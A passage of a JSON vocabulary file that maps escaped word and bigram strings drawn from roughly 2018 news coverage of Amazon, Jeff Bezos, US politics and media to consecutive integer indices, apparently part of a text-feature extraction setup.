\"fein\": 211674,\n  \"hour crowd\": 211675,\n  \"political fantasy\": 211676,\n  \"caucus held\": 211677,\n  \"landmark case\": 211678,\n  \"shoppers compare\": 211679,\n  \"dea graduation\": 211680,\n  \"time california\": 211681,\n  \"texts allegedly\": 211682,\n  \"yard\": 211683,\n  \"unethical labor\": 211684,\n  \"brand president\": 211685,\n  \"biography mantel\": 211686,\n  \"reuters trust\": 211687,\n  \"facebook competition\": 211688,\n  \"international taxes\": 211689,\n  \"laptop sales\": 211690,\n  \"drivel\": 211691,\n  \"strategic view\": 211692,\n  \"continually creating\": 211693,\n  \"partner nader\": 211694,\n  \"sexual encounters\": 211695,\n  \"stem activities\": 211696,\n  \"aj\": 211697,\n  \"voter\": 211698,\n  \"sanders agree\": 211699,\n  \"573\": 211700,\n  \"pennsylvania severe\": 211701,\n  \"day break\": 211702,\n  \"executive ceos\": 211703,\n  \"old celebrity\": 211704,\n  \"does web\": 211705,\n  \"fox tv\": 211706,\n  \"ceo reportedly\": 211707,\n  \"a_140_\": 211708,\n  \"tech pales\": 211709,\n  \"ii saint\": 211710,\n  \"sees slower\": 211711,\n  \"turning pages\": 211712,\n  \"story visit\": 211713,\n  \"story brexit\": 211714,\n  \"censorship encourage\": 211715,\n  \"lodged attacks\": 211716,\n  \"enrique ascui\": 211717,\n  \"purpose transcript\": 211718,\n  \"computing products\": 211719,\n  \"nonpartisan heart\": 211720,\n  \"hollywood united\": 211721,\n  \"inflatable lantern\": 211722,\n  \"egan contributing\": 211723,\n  \"fatter paychecks\": 211724,\n  \"surreptitious\": 211725,\n  \"cortez proposed\": 211726,\n  \"post opinion\": 211727,\n  \"higher crime\": 211728,\n  \"expanded significantly\": 211729,\n  \"resembling real\": 211730,\n  \"live bezos\": 211731,\n  \"mturk played\": 211732,\n  \"downwardly revised\": 211733,\n  \"president melinda\": 211734,\n  \"unrelenting traffic\": 211735,\n  \"terrifying competitors\": 211736,\n  \"en08u1mq6v cute\": 211737,\n  \"contrast background\": 211738,\n  \"david goldman\": 211739,\n  \"carolina head\": 211740,\n  \"offerings including\": 211741,\n  \"date\": 211742,\n  \"howorth taught\": 211743,\n  \"military parades\": 211744,\n  \"play violent\": 211745,\n  \"key hung\": 211746,\n  \"washington chip\": 211747,\n  \"juan lozano\": 211748,\n  \"misses specifically\": 211749,\n  \"market rallied\": 211750,\n  \"enquirer operation\": 211751,\n  \"sector continues\": 211752,\n  \"isolate brazil\": 211753,\n  \"including dropbox\": 211754,\n  \"city vestager\": 211755,\n  \"hard knock\": 211756,\n  \"sarsour newsweek\": 211757,\n  \"caller reported\": 211758,\n  \"andrew shepard\": 211759,\n  \"questionable attempt\": 211760,\n  \"pays workers\": 211761,\n  \"ray wang\": 211762,\n  \"excellent wealthcare\": 211763,\n  \"miami dade\": 211764,\n  \"quality balanced\": 211765,\n  \"seminal horror\": 211766,\n  \"distribute\": 211767,\n  \"mcdaniel sen\": 211768,\n  \"mails\": 211769,\n  \"paloma\": 211770,\n  \"seattle alex\": 211771,\n  \"investigation revealing\": 211772,\n  \"ppb oceania\": 211773,\n  \"olley\": 211774,\n  \"bay spokesperson\": 211775,\n  \"cohort\": 211776,\n  \"report forcing\": 211777,\n  \"exporters manager\": 211778,\n  \"knew demand\": 211779,\n  \"immunity cope\": 211780,\n  \"mcnew\": 211781,\n  \"president demands\": 211782,\n  \"sounds good\": 211783,\n  \"garment\": 211784,\n  \"pun intended\": 211785,\n  \"semitism traci\": 211786,\n  \"beast lachlan\": 211787,\n  \"wealthy friends\": 211788,\n  \"straight quarters\": 211789,\n  \"fan\": 211790,\n  \"agrandalliance org\": 211791,\n  \"densely\": 211792,\n  \"8217 coastline\": 211793,\n  \"charge assigned\": 211794,\n  \"jarod\": 211795,\n  \"campus equal\": 211796,\n  \"trapeze\": 211797,\n  \"dagen dagen\": 211798,\n  \"department suggested\": 211799,\n  \"trust\": 211800,\n  \"circe\": 211801,\n  \"golovkin live\": 211802,\n  \"bailout paid\": 211803,\n  \"fulfilled prime\": 211804,\n  \"aborted human\": 211805,\n  \"2930a\": 211806,\n  \"package mail\": 211807,\n  \"christie stephenson\": 211808,\n  \"fortified\": 211809,\n  \"foxconn deal\": 211810,\n  \"widespread\": 211811,\n  \"madison st\": 211812,\n  \"tie included\": 211813,\n  \"story jobless\": 211814,\n  \"bullet takes\": 211815,\n  \"insurers\": 211816,\n  \"us3\": 211817,\n  \"fold increase\": 211818,\n  \"resources software\": 211819,\n  \"light rain\": 211820,\n  \"viacristiano view\": 211821,\n  \"payscale\": 211822,\n  \"heirs\": 211823,\n  \"purchase details\": 211824,\n  \"publicly fan\": 211825,\n  \"boston red\": 211826,\n  \"george schappert\": 211827,\n  \"levels just\": 211828,\n  \"paychecks 2018\": 211829,\n  \"leight\": 211830,\n  \"nyt investigation\": 211831,\n  \"high pointe\": 211832,\n  \"congress declines\": 211833,\n  \"fischer\": 211834,\n  \"partner hakim\": 211835,\n  \"launch z6\": 211836,\n  \"self focused\": 211837,\n  \"article exact\": 211838,\n  \"publisher sulzberger\": 211839,\n  \"chick\": 211840,\n  \"amazon built\": 211841,\n  \"creation gw\": 211842,\n  \"hinterland netflix\": 211843,\n  \"quote irish\": 211844,\n  \"counterparts working\": 211845,\n  \"speculation accuracy\": 211846,\n  \"2020 justice\": 211847,\n  \"rainforest does\": 211848,\n  \"gundlach 2018\": 211849,\n  \"related stories\": 211850,\n  \"big antitrust\": 211851,\n  \"international 385\": 211852,\n  \"thoroughly modern\": 211853,\n  \"users explicit\": 211854,\n  \"npr focusses\": 211855,\n  \"fine italy\": 211856,\n  \"kohring\": 211857,\n  \"columbia ey\": 211858,\n  \"usps versus\": 211859,\n  \"workhorse type\": 211860,\n  \"link tv\": 211861,\n  \"nikkei plunges\": 211862,\n  \"company commented\": 211863,\n  \"various time\": 211864,\n  \"doesn justify\": 211865,\n  \"globenewswire minutes\": 211866,\n  \"highly inaccurate\": 211867,\n  \"rainy day\": 211868,\n  \"action racial\": 211869,\n  \"queens new\": 211870,\n  \"reach ms\": 211871,\n  \"fun pop\": 211872,\n  \"serv stated\": 211873,\n  \"brings skills\": 211874,\n  \"era america\": 211875,\n  \"special contempt\": 211876,\n  \"message yes\": 211877,\n  \"756\": 211878,\n  \"dix\": 211879,\n  \"fashion group\": 211880,\n  \"maker applied\": 211881,\n  \"playing role\": 211882,\n  \"big traditional\": 211883,\n  \"ap general\": 211884,\n  \"sud offers\": 211885,\n  \"years whitlock\": 211886,\n  \"release major\": 211887,\n  \"companies added\": 211888,\n  \"muckerman india\": 211889,\n  \"balling\": 211890,\n  \"legalized weed\": 211891,\n  \"stop teach\": 211892,\n  \"queens congressman\": 211893,\n  \"travel traveling\": 211894,\n  \"ink away\": 211895,\n  \"pressing questions\": 211896,\n  \"bounced\": 211897,\n  \"day railroad\": 211898,\n  \"technology later\": 211899,\n  \"point writes\": 211900,\n  \"shah global\": 211901,\n  \"rainbow\": 211902,\n  \"disorderly\": 211903,\n  \"personally directing\": 211904,\n  \"geekwire mined\": 211905,\n  \"engines\": 211906,\n  \"sonja\": 211907,\n  \"staffers deap\": 211908,\n  \"cars video\": 211909,\n  \"dominant role\": 211910,\n  \"time watch\": 211911,\n  \"close slew\": 211912,\n  \"canadian retailer\": 211913,\n  \"jaclyn\": 211914,\n  \"f8 r4ee\": 211915,\n  \"economic engines\": 211916,\n  \"dose packaging\": 211917,\n  \"usps contract\": 211918,\n  \"obsessive compulsive\": 211919,\n  \"quaint walk\": 211920,\n  \"rubi\": 211921,\n  \"mcnicholas\": 211922,\n  \"journalist jim\": 211923,\n  \"adviser stephen\": 211924,\n  \"hart research\": 211925,\n  \"getting recalled\": 211926,\n  \"amazon agreements\": 211927,\n  \"workloads\": 211928,\n  \"accurately reported\": 211929,\n  \"categories\": 211930,\n  \"ordinary women\": 211931,\n  \"amazon increasingly\": 211932,\n  \"pillows\": 211933,\n  \"lawyers businesswomen\": 211934,\n  \"incredible shrinking\": 211935,\n  \"stifling\": 211936,\n  \"roberts\": 211937,\n  \"behalf including\": 211938,\n  \"new conductor\": 211939,\n  \"hq2 meet\": 211940,\n  \"nuclear deal\": 211941,\n  \"cnn pointed\": 211942,\n  \"nrgi called\": 211943,\n  \"mimic human\": 211944,\n  \"birthday following\": 211945,\n  \"bird chronicle\": 211946,\n  \"supposed\": 211947,\n  \"bullets chief\": 211948,\n  \"800 randomly\": 211949,\n  \"lang\": 211950,\n  \"global community\": 211951,\n  \"opposing economic\": 211952,\n  \"fronts online\": 211953,\n  \"mail commercial\": 211954,\n  \"progress\": 211955,\n  \"liberal companies\": 211956,\n  \"reason donald\": 211957,\n  \"social services\": 211958,\n  \"governments seeking\": 211959,\n  \"store visits\": 211960,\n  \"buzz60 story\": 211961,\n  \"general public\": 211962,\n  \"baker neosho\": 211963,\n  \"separately trump\": 211964,\n  \"2017 cnbc\": 211965,\n  \"politics productivity\": 211966,\n  \"previous months\": 211967,\n  \"1975\": 211968,\n  \"trump jeff\": 211969,\n  \"contact jess\": 211970,\n  \"proactive sooner\": 211971,\n  \"actually help\": 211972,\n  \"blazed\": 211973,\n  \"criminalize detain\": 211974,\n  \"delayed reporting\": 211975,\n  \"incredibly racist\": 211976,\n  \"immense power\": 211977,\n  \"bombshell books\": 211978,\n  \"apple launch\": 211979,\n  \"honest people\": 211980,\n  \"ice relies\": 211981,\n  \"asked corey\": 211982,\n  \"close study\": 211983,\n  \"metapack large\": 211984,\n  \"heidi julia\": 211985,\n  \"amazon plane\": 211986,\n  \"75m\": 211987,\n  \"actually pretty\": 211988,\n  \"oof\": 211989,\n  \"readers gmg\": 211990,\n  \"trump liking\": 211991,\n  \"frequently records\": 211992,\n  \"role giving\": 211993,\n  \"scantily clad\": 211994,\n  \"amazon anable\": 211995,\n  \"paulo cesar\": 211996,\n  \"exposed golfer\": 211997,\n  \"new smartphone\": 211998,\n  \"trickster\": 211999,\n  \"plugable bluetooth\": 212000,\n  \"rekognition incorrectly\": 212001,\n  \"brien comey\": 212002,\n  \"computer systems\": 212003,\n  \"cortez economic\": 212004,\n  \"wife pressed\": 212005,\n  \"tells cnn\": 212006,\n  \"items\": 212007,\n  \"youtube disney\": 212008,\n  \"aut_column_name\": 212009,\n  \"stop investigate\": 212010,\n  \"trafficking sent\": 212011,\n  \"round rollicking\": 212012,\n  \"mean democrat\": 212013,\n  \"entrepreneurs jacobs\": 212014,\n  \"congresswomen\": 212015,\n  \"community help\": 212016,\n  \"market price\": 212017,\n  \"xsmall\": 212018,\n  \"life tamara\": 212019,\n  \"opportunity costs\": 212020,\n  \"assisted systems\": 212021,\n  \"000 hardcover\": 212022,\n  \"man stands\": 212023,\n  \"incurred\": 212024,\n  \"nearly impossible\": 212025,\n  \"declined comment\": 212026,\n  \"ko feels\": 212027,\n  \"warner verna\": 212028,\n  \"point youll\": 212029,\n  \"amazon rankings\": 212030,\n  \"bond trading\": 212031,\n  \"break day\": 212032,\n  \"trump deleted\": 212033,\n  \"ap 2018\": 212034,\n  \"shapes\": 212035,\n  \"adm craig\": 212036,\n  \"reportedly garnered\": 212037,\n  \"facing increasing\": 212038,\n  \"merchandise selection\": 212039,\n  \"bidding cities\": 212040,\n  \"doesnt make\": 212041,\n  \"investigation spreads\": 212042,\n  \"amazon finally\": 212043,\n  \"inauthentic accounts\": 212044,\n  \"emails seeking\": 212045,\n  \"lunar orbit\": 212046,\n  \"tagging\": 212047,\n  \"cmcsa bid\": 212048,\n  \"100 lobbyists\": 212049,\n  \"general dg\": 212050,\n  \"world economic\": 212051,\n  \"residence\": 212052,\n  \"arkansas raleigh\": 212053,\n  \"repeatedly pressured\": 212054,\n  \"bet awards\": 212055,\n  \"estate taxes\": 212056,\n  \"mikesnider read\": 212057,\n  \"taken control\": 212058,\n  \"problem movement\": 212059,\n  \"american story\": 212060,\n  \"happening right\": 212061,\n  \"session low\": 212062,\n  \"tyson\": 212063,\n  \"cabinet members\": 212064,\n  \"red hen\": 212065,\n  \"weren successful\": 212066,\n  \"slams sarah\": 212067,\n  \"a4ee j8\": 212068,\n  \"lives turns\": 212069,\n  \"ap gary\": 212070,\n  \"account data\": 212071,\n  \"agency download\": 212072,\n  \"believes\": 212073,\n  \"traditional offerings\": 212074,\n  \"state registered\": 212075,\n  \"social views\": 212076,\n  \"fox regional\": 212077,\n  \"personal feelings\": 212078,\n  \"doubt delighted\": 212079,\n  \"new experience\": 212080,\n  \"orders represented\": 212081,\n  \"tell management\": 212082,\n  \"rae\": 212083,\n  \"obamas jared\": 212084,\n  \"ready amazon\": 212085,\n  \"spanning story\": 212086,\n  \"series westworld\": 212087,\n  \"hurting competition\": 212088,\n  \"books slated\": 212089,\n  \"woman wouldn\": 212090,\n  \"joni ernst\": 212091,\n  \"prompted federal\": 212092,\n  \"finally available\": 212093,\n  \"clark senior\": 212094,\n  \"cortez led\": 212095,\n  \"action hoping\": 212096,\n  \"bezos outlined\": 212097,\n  \"700 assistant\": 212098,\n  \"huge missed\": 212099,\n  \"tech app\": 212100,\n  \"various holdings\": 212101,\n  \"trump insurance\": 212102,\n  \"embedded media\": 212103,\n  \"olympic style\": 212104,\n  \"menthol\": 212105,\n  \"win future\": 212106,\n  \"coast john\": 212107,\n  \"concerned republicans\": 212108,\n  \"subsidizing profitable\": 212109,\n  \"london buskers\": 212110,\n  \"reorder\": 212111,\n  \"provide lights\": 212112,\n  \"new network\": 212113,\n  \"salvini center\": 212114,\n  \"economic effects\": 212115,\n  \"governors meeting\": 212116,\n  \"madeira\": 212117,\n  \"futures skyrocketed\": 212118,\n  \"executive vice\": 212119,\n  \"hq trivia\": 212120,\n  \"rare issue\": 212121,\n  \"output dropped\": 212122,\n  \"series powered\": 212123,\n  \"communications cement\": 212124,\n  \"iphones\": 212125,\n  \"brittain ladd\": 212126,\n  \"relations fight\": 212127,\n  \"technology coverage\": 212128,\n  \"kyi\": 212129,\n  \"outfit spectre\": 212130,\n  \"mile continue\": 212131,\n  \"hollenhorst citi\": 212132,\n  \"unpaid bills\": 212133,\n  \"industry hadn\": 212134,\n  \"exile\": 212135,\n  \"company actually\": 212136,\n  \"just entered\": 212137,\n  \"mclarty associates\": 212138,\n  \"broad appeal\": 212139,\n  \"half life\": 212140,\n  \"beasley settled\": 212141,\n  \"tamara edwards\": 212142,\n  \"booker prize\": 212143,\n  \"exclude certain\": 212144,\n  \"saudi officials\": 212145,\n  \"pay single\": 212146,\n  \"729\": 212147,\n  \"disappoint\": 212148,\n  \"insidious model\": 212149,\n  \"indiana semiotext\": 212150,\n  \"legislation gives\": 212151,\n  \"validar crown\": 212152,\n  \"suliman plays\": 212153,\n  \"paying lower\": 212154,\n  \"state plots\": 212155,\n  \"lisota bloomberg\": 212156,\n  \"indispensable idea\": 212157,\n  \"unknowingly\": 212158,\n  \"nashua\": 212159,\n  \"review earlier\": 212160,\n  \"drinks firm\": 212161,\n  \"chinese sellers\": 212162,\n  \"vehicles fuel\": 212163,\n  \"roger stone\": 212164,\n  \"walmart amusement\": 212165,\n  \"probed\": 212166,\n  \"year nearly\": 212167,\n  \"sharp gain\": 212168,\n  \"big problems\": 212169,\n  \"netflix accounting\": 212170,\n  \"mair\": 212171,\n  \"clearly isn\": 212172,\n  \"hadassa\": 212173,\n  \"catch trump\": 212174,\n  \"solution thompson\": 212175,\n  \"timeline fascinating\": 212176,\n  \"chrysler fell\": 212177,\n  \"mit researchers\": 212178,\n  \"broader issues\": 212179,\n  \"son donald\": 212180,\n  \"new programme\": 212181,\n  \"consultants associated\": 212182,\n  \"sessions delivers\": 212183,\n  \"rochelle\": 212184,\n  \"mean think\": 212185,\n  \"pool geekwire\": 212186,\n  \"architect\": 212187,\n  \"elizabeth debicki\": 212188,\n  \"decline george\": 212189,\n  \"pyramid\": 212190,\n  \"alfalfa\": 212191,\n  \"inc_autoplay_videoflag true\": 212192,\n  \"1997 strike\": 212193,\n  \"embarrassing behavior\": 212194,\n  \"gridlock\": 212195,\n  \"administration enforced\": 212196,\n  \"shanghai index\": 212197,\n  \"sanchez friend\": 212198,\n  \"pitt speaks\": 212199,\n  \"articulated\": 212200,\n  \"offset just\": 212201,\n  \"power abroad\": 212202,\n  \"sites equipment\": 212203,\n  \"finding smart\": 212204,\n  \"audio files\": 212205,\n  \"borrowers eligible\": 212206,\n  \"seizing\": 212207,\n  \"expect given\": 212208,\n  \"newsbuzz amazon\": 212209,\n  \"salles did\": 212210,\n  \"things\": 212211,\n  \"op read\": 212212,\n  \"armisen takes\": 212213,\n  \"editing\": 212214,\n  \"close0 london\": 212215,\n  \"hanin peter\": 212216,\n  \"qualifies amazon\": 212217,\n  \"gmt copyright\": 212218,\n  \"just write\": 212219,\n  \"american burial\": 212220,\n  \"think fedex\": 212221,\n  \"websites\": 212222,\n  \"experience hit\": 212223,\n  \"stickers cellphone\": 212224,\n  \"parties handle\": 212225,\n  \"g8 c8\": 212226,\n  \"cost powerful\": 212227,\n  \"tech team\": 212228,\n  \"sandringham\": 212229,\n  \"sales politics\": 212230,\n  \"current president\": 212231,\n  \"future attempts\": 212232,\n  \"big multinationals\": 212233,\n  \"enforcement training\": 212234,\n  \"suggests review\": 212235,\n  \"discussion board\": 212236,\n  \"eventful\": 212237,\n  \"aerodynamic machine\": 212238,\n  \"maga denigration\": 212239,\n  \"await reunions\": 212240,\n  \"america tries\": 212241,\n  \"hunting season\": 212242,\n  \"defense agency\": 212243,\n  \"celebrations\": 212244,\n  \"faces hurdle\": 212245,\n  \"5000 share\": 212246,\n  \"commerce world\": 212247,\n  \"frequent skeptic\": 212248,\n  \"swamp plan\": 212249,\n  \"carry wine\": 212250,\n  \"regular investors\": 212251,\n  \"culture abroad\": 212252,\n  \"giants cornerstone\": 212253,\n  \"treasury department\": 212254,\n  \"tech youtube\": 212255,\n  \"illegally accelerating\": 212256,\n  \"needle moving\": 212257,\n  \"think elizabeth\": 212258,\n  \"linnaeus known\": 212259,\n  \"sorta\": 212260,\n  \"forces users\": 212261,\n  \"import millions\": 212262,\n  \"time logjams\": 212263,\n  \"shephard ninth\": 212264,\n  \"carry weapons\": 212265,\n  \"commerce titan\": 212266,\n  \"month amazon\": 212267,\n  \"book ranked\": 212268,\n  \"violent sexually\": 212269,\n  \"depicting sexual\": 212270,\n  \"deliver customer\": 212271,\n  \"relatively good\": 212272,\n  \"business anti\": 212273,\n  \"new integrations\": 212274,\n  \"tax debacle\": 212275,\n  \"kid recorded\": 212276,\n  \"trump page\": 212277,\n  \"amazon rounds\": 212278,\n  \"challenge game\": 212279,\n  \"flatbed truck\": 212280,\n  \"ami owner\": 212281,\n  \"venerable newspaper\": 212282,\n  \"run wild\": 212283,\n  \"old men\": 212284,\n  \"watch enemies\": 212285,\n  \"children masterpieces\": 212286,\n  \"escalates\": 212287,\n  \"videocmsurl\": 212288,\n  \"high court\": 212289,\n  \"executive ike\": 212290,\n  \"magas anti\": 212291,\n  \"previous reported\": 212292,\n  \"martin luther\": 212293,\n  \"correspondent tired\": 212294,\n  \"posed privacy\": 212295,\n  \"sessions office\": 212296,\n  \"month banned\": 212297,\n  \"walmart stock\": 212298,\n  \"fall campaign\": 212299,\n  \"insider nederland\": 212300,\n  \"apple stocks\": 212301,\n  \"ceo david\": 212302,\n  \"house candidate\": 212303,\n  \"middle states\": 212304,\n  \"image 336x336\": 212305,\n  \"crime environmental\": 212306,\n  \"ap coverage\": 212307,\n  \"washington microscope\": 212308,\n  \"phil smith\": 212309,\n  \"franek\": 212310,\n  \"currently\": 212311,\n  \"viewpoint appears\": 212312,\n  \"assembly counterpart\": 212313,\n  \"nasdaq roku\": 212314,\n  \"duke\": 212315,\n  \"walter reed\": 212316,\n  \"spends billion\": 212317,\n  \"criticized debut\": 212318,\n  \"nancyscola\": 212319,\n  \"express desire\": 212320,\n  \"destructive cross\": 212321,\n  \"embedded secret\": 212322,\n  \"avid courting\": 212323,\n  \"wework suddenly\": 212324,\n  \"house sending\": 212325,\n  \"twist sanchez\": 212326,\n  \"enforcement including\": 212327,\n  \"century figured\": 212328,\n  \"levin offered\": 212329,\n  \"media mergers\": 212330,\n  \"slain journalists\": 212331,\n  \"million bucks\": 212332,\n  \"public spats\": 212333,\n  \"parade new\": 212334,\n  \"gigafactory workers\": 212335,\n  \"real reasons\": 212336,\n  \"cloud 600\": 212337,\n  \"dit\": 212338,\n  \"tweets immediately\": 212339,\n  \"sp1\": 212340,\n  \"record diamond\": 212341,\n  \"a4ee e0\": 212342,\n  \"purveying fake\": 212343,\n  \"15b\": 212344,\n  \"accenture survey\": 212345,\n  \"national oil\": 212346,\n  \"258 million\": 212347,\n  \"articles china\": 212348,\n  \"fervently\": 212349,\n  \"getting crucified\": 212350,\n  \"prices\": 212351,\n  \"reassures\": 212352,\n  \"foreman mayweather\": 212353,\n  \"carousel__content__item onvideocarouselitemclicked\": 212354,\n  \"falls outside\": 212355,\n  \"emergency minutes\": 212356,\n  \"career stream\": 212357,\n  \"regional transportation\": 212358,\n  \"novel beloved\": 212359,\n  \"appears tariffs\": 212360,\n  \"employ thousands\": 212361,\n  \"stopping voter\": 212362,\n  \"told cheering\": 212363,\n  \"employees share\": 212364,\n  \"queens exactly\": 212365,\n  \"kentucky setting\": 212366,\n  \"issue appeared\": 212367,\n  \"2018q3\": 212368,\n  \"report embedded\": 212369,\n  \"salke called\": 212370,\n  \"air talking\": 212371,\n  \"prominent journalists\": 212372,\n  \"industry audience\": 212373,\n  \"brazilian soy\": 212374,\n  \"geopolitical turmoil\": 212375,\n  \"brash management\": 212376,\n  \"unauthorized secret\": 212377,\n  \"nutanix reports\": 212378,\n  \"hot quote\": 212379,\n  \"present new\": 212380,\n  \"cease doing\": 212381,\n  \"bought air\": 212382,\n  \"primary colors\": 212383,\n  \"000 payout\": 212384,\n  \"taxed\": 212385,\n  \"breaks eminent\": 212386,\n  \"potentially expanding\": 212387,\n  \"tabloid leaf\": 212388,\n  \"mother landlord\": 212389,\n  \"sanders issued\": 212390,\n  \"actresses following\": 212391,\n  \"daily moving\": 212392,\n  \"redefined\": 212393,\n  \"hubbard scrubbed\": 212394,\n  \"journalists dangerous\": 212395,\n  \"mistake jeff\": 212396,\n  \"far dominated\": 212397,\n  \"military data\": 212398,\n  \"jones amazon\": 212399,\n  \"party holds\": 212400,\n  \"plains burned\": 212401,\n  \"trump love\": 212402,\n  \"recently deceased\": 212403,\n  \"river minneapolis\": 212404,\n  \"stories 8220\": 212405,\n  \"page sanchez\": 212406,\n  \"civic leaders\": 212407,\n  \"rtamericanews\": 212408,\n  \"pitted south\": 212409,\n  \"graham bringing\": 212410,\n  \"selling business\": 212411,\n  \"887 poised\": 212412,\n  \"350 puts\": 212413,\n  \"better moderation\": 212414,\n  \"billionaire president\": 212415,\n  \"adaptation\": 212416,\n  \"separately think\": 212417,\n  \"washington vineti\": 212418,\n  \"sign shutdown\": 212419,\n  \"em\": 212420,\n  \"gross exaggeration\": 212421,\n  \"2050\": 212422,\n  \"action tell\": 212423,\n  \"buzz60\": 212424,\n  \"helou ecco\": 212425,\n  \"education pushes\": 212426,\n  \"getty follow\": 212427,\n  \"including involvement\": 212428,\n  \"usps lost\": 212429,\n  \"nick wingfield\": 212430,\n  \"cloud bids\": 212431,\n  \"future events\": 212432,\n  \"recordings\": 212433,\n  \"windfalls\": 212434,\n  \"fossil fuels\": 212435,\n  \"firm results\": 212436,\n  \"dollar amounts\": 212437,\n  \"feed recommend\": 212438,\n  \"vendors paying\": 212439,\n  \"buddy buddy\": 212440,\n  \"disaffected\": 212441,\n  \"interesting meeting\": 212442,\n  \"morning hancock\": 212443,\n  \"s\\u00e1nchez discussed\": 212444,\n  \"new document\": 212445,\n  \"big monster\": 212446,\n  \"comments section\": 212447,\n  \"tunnels tom\": 212448,\n  \"estate development\": 212449,\n  \"dominance chad\": 212450,\n  \"government related\": 212451,\n  \"protection alliance\": 212452,\n  \"people heads\": 212453,\n  \"films generated\": 212454,\n  \"637\": 212455,\n  \"learning curve\": 212456,\n  \"feeney\": 212457,\n  \"schools today\": 212458,\n  \"fast losing\": 212459,\n  \"payers economic\": 212460,\n  \"sanders facebook\": 212461,\n  \"times pope\": 212462,\n  \"emergencies florida\": 212463,\n  \"guide amzn\": 212464,\n  \"stamps encourage\": 212465,\n  \"consigned\": 212466,\n  \"popstar justin\": 212467,\n  \"juanita jordon\": 212468,\n  \"eco annihilation\": 212469,\n  \"assaulting\": 212470,\n  \"despite surge\": 212471,\n  \"behooves\": 212472,\n  \"years ended\": 212473,\n  \"need real\": 212474,\n  \"hotbed\": 212475,\n  \"hard boiled\": 212476,\n  \"aws rep\": 212477,\n  \"asking politely\": 212478,\n  \"marty hartman\": 212479,\n  \"gun gesture\": 212480,\n  \"cortez won\": 212481,\n  \"vertical mergers\": 212482,\n  \"siegy\": 212483,\n  \"recognition features\": 212484,\n  \"freaking\": 212485,\n  \"strategy noting\": 212486,\n  \"report louisiana\": 212487,\n  \"mn\": 212488,\n  \"mediametadatacallbacks mobilepinnedview\": 212489,\n  \"forbes 2017\": 212490,\n  \"news express\": 212491,\n  \"past michael\": 212492,\n  \"organization drop\": 212493,\n  \"journalist ronan\": 212494,\n  \"huge bet\": 212495,\n  \"correspondent jim\": 212496,\n  \"corporate citizen\": 212497,\n  \"cameo\": 212498,\n  \"popular tech\": 212499,\n  \"don choose\": 212500,\n  \"jill abramson\": 212501,\n  \"getting sweater\": 212502,\n  \"chicago tonight\": 212503,\n  \"nasdaq tomorrow\": 212504,\n  \"400 fang\": 212505,\n  \"handles sales\": 212506,\n  \"named uttam\": 212507,\n  \"dinosaurs check\": 212508,\n  \"raedle\": 212509,\n  \"expenditures\": 212510,\n  \"mac says\": 212511,\n  \"afro brazilian\": 212512,\n  \"year day\": 212513,\n  \"track inside\": 212514,\n  \"bezos admitted\": 212515,\n  \"reports bezos\": 212516,\n  \"international legitimacy\": 212517,\n  \"help law\": 212518,\n  \"unroll\": 212519,\n  \"raunchy text\": 212520,\n  \"largest businesses\": 212521,\n  \"convince investors\": 212522,\n  \"accusations echoed\": 212523,\n  \"remark wasn\": 212524,\n  \"holgate research\": 212525,\n  \"reprogrammed aoc\": 212526,\n  \"snakeskin\": 212527,\n  \"viable tunnels\": 212528,\n  \"tv networks\": 212529,\n  \"china story\": 212530,\n  \"watching closely\": 212531,\n  \"logoed vans\": 212532,\n  \"sagindie talk\": 212533,\n  \"operates special\": 212534,\n  \"rachel\": 212535,\n  \"rare concession\": 212536,\n  \"navigate political\": 212537,\n  \"drama series\": 212538,\n  \"chilly depictions\": 212539,\n  \"cortez doesn\": 212540,\n  \"preventing north\": 212541,\n  \"cessation\": 212542,\n  \"geo blocking\": 212543,\n  \"selling vaccines\": 212544,\n  \"jason moser\": 212545,\n  \"getting tarred\": 212546,\n  \"profitable game\": 212547,\n  \"did thisand\": 212548,\n  \"friends imploring\": 212549,\n  \"latest pew\": 212550,\n  \"case breakthrough\": 212551,\n  \"cost brands\": 212552,\n  \"captionless recent\": 212553,\n  \"medium file\": 212554,\n  \"security accounts\": 212555,\n  \"hacker used\": 212556,\n  \"keywell\": 212557,\n  \"management years\": 212558,\n  \"country mandel\": 212559,\n  \"journalistic digging\": 212560,\n  \"media critics\": 212561,\n  \"hound michael\": 212562,\n  \"typical air\": 212563,\n  \"says matt\": 212564,\n  \"harbor luckin\": 212565,\n  \"including scott\": 212566,\n  \"965 9002\": 212567,\n  \"jr trump\": 212568,\n  \"spending jared\": 212569,\n  \"packing\": 212570,\n  \"skewed\": 212571,\n  \"place chef\": 212572,\n  \"hasson notes\": 212573,\n  \"public investment\": 212574,\n  \"workplace regimes\": 212575,\n  \"priorities tom\": 212576,\n  \"comedy special\": 212577,\n  \"financial capacity\": 212578,\n  \"mu\": 212579,\n  \"cavalier improving\": 212580,\n  \"media account\": 212581,\n  \"buffalo cuomo\": 212582,\n  \"ben stiller\": 212583,\n  \"warning resulted\": 212584,\n  \"experts legal\": 212585,\n  \"really deal\": 212586,\n  \"newly elected\": 212587,\n  \"developing countries\": 212588,\n  \"week canadian\": 212589,\n  \"instinctively\": 212590,\n  \"claims confusing\": 212591,\n  \"capital partner\": 212592,\n  \"selling shirts\": 212593,\n  \"bandwidth consuming\": 212594,\n  \"supermicro customer\": 212595,\n  \"joann fitzpatrick\": 212596,\n  \"net negative\": 212597,\n  \"joined lawsuit\": 212598,\n  \"born citizens\": 212599,\n  \"include apple\": 212600,\n  \"neil saunders\": 212601,\n  \"recap\": 212602,\n  \"influence game\": 212603,\n  \"flipkart opening\": 212604,\n  \"va wa\": 212605,\n  \"gaslighting americans\": 212606,\n  \"forces findings\": 212607,\n  \"kavanaugh accuser\": 212608,\n  \"european parliamentary\": 212609,\n  \"conspiracy indictment\": 212610,\n  \"photo carolyn\": 212611,\n  \"accurate\": 212612,\n  \"comparison shopping\": 212613,\n  \"changes sellers\": 212614,\n  \"american rich\": 212615,\n  \"readiness florida\": 212616,\n  \"surprised\": 212617,\n  \"kim center\": 212618,\n  \"ubhi gig\": 212619,\n  \"danica\": 212620,\n  \"2fnewsletter\": 212621,\n  \"billion red\": 212622,\n  \"insights politics\": 212623,\n  \"things honcho\": 212624,\n  \"toronto tech\": 212625,\n  \"final details\": 212626,\n  \"love questions\": 212627,\n  \"improve technology\": 212628,\n  \"purchase office\": 212629,\n  \"official investigations\": 212630,\n  \"exit forces\": 212631,\n  \"eliot horowitz\": 212632,\n  \"pms\": 212633,\n  \"viacom warns\": 212634,\n  \"wildfire tore\": 212635,\n  \"options reduced\": 212636,\n  \"fostering\": 212637,\n  \"story educated\": 212638,\n  \"divert funds\": 212639,\n  \"monsivais\": 212640,\n  \"tohost\": 212641,\n  \"ferreira\": 212642,\n  \"robertson bezos\": 212643,\n  \"sparks outrage\": 